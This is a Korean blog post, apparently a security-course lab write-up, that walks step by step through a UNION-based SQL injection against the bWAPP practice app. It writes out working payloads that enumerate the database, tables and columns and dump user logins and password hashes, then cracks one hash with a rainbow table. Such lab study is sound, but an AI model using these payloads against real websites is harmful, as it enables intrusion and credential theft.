반응형
sql injection에 취약한 웹사이트에서 계정정보를 탈취하는 시나리오를 작성해보겠다.
웹서버에 SQL Injection 취약점이 있는지 확인해보니 취약점이 있는 것으로 확인되었다.
php에서 원하는 select column 개수가 null이 7개일 때, 테이블이 떴기 때문에, 7개의 columns을 요구한다는 것을 알 수 있다.
'union select null, null, null, null, null, null, null#
select null, database(), null, null, null, null, null# 구문을 삽입하여 사용중인 DB 이름인 bWAPP를 알게 되었다.
'union select null, database(), null, null, null, null, null#
bWAPP의 테이블들의 이름을 알게 되었다.
'union select null, table_name, null, null, null, null, null from information_schema.tables where table_schema='bWAPP'#
users 테이블이 계정과 관련있어 보이기 때문에, users테이블의 columns들을 알아보기 위해 시도해보았다.
bWAPP의 users테이블의 column의 이름을 알아내었다.
'union select null, column_name, null, null, null, null, null from information_schema.columns where table_schema='bWAPP' and table_name='users'#
Id, login, password값이 주요해 보이기 때문에, 값들을 추출해보면,
‘union select null, id, login, password, null, null, null from bWAPP.users#
4개의 id를 확인할 수 있었고 bee라는 id의 password가 해쉬값으로 되어있는데 해쉬값을 풀기위해 레인보우 테이블 사이트를 이용해보면
1234라는 비밀번호를 확인할 수 있다.
반응형
'정보보안아카데미' 카테고리의 다른 글
#31 (0) | 2025.10.02 |
---|---|
#30)XSS(Cross Site Script) (0) | 2025.09.30 |
#28 Wargame 2 (0) | 2025.09.18 |
#실습과제2 (1) | 2025.09.18 |
#27 Wargame (0) | 2025.09.17 |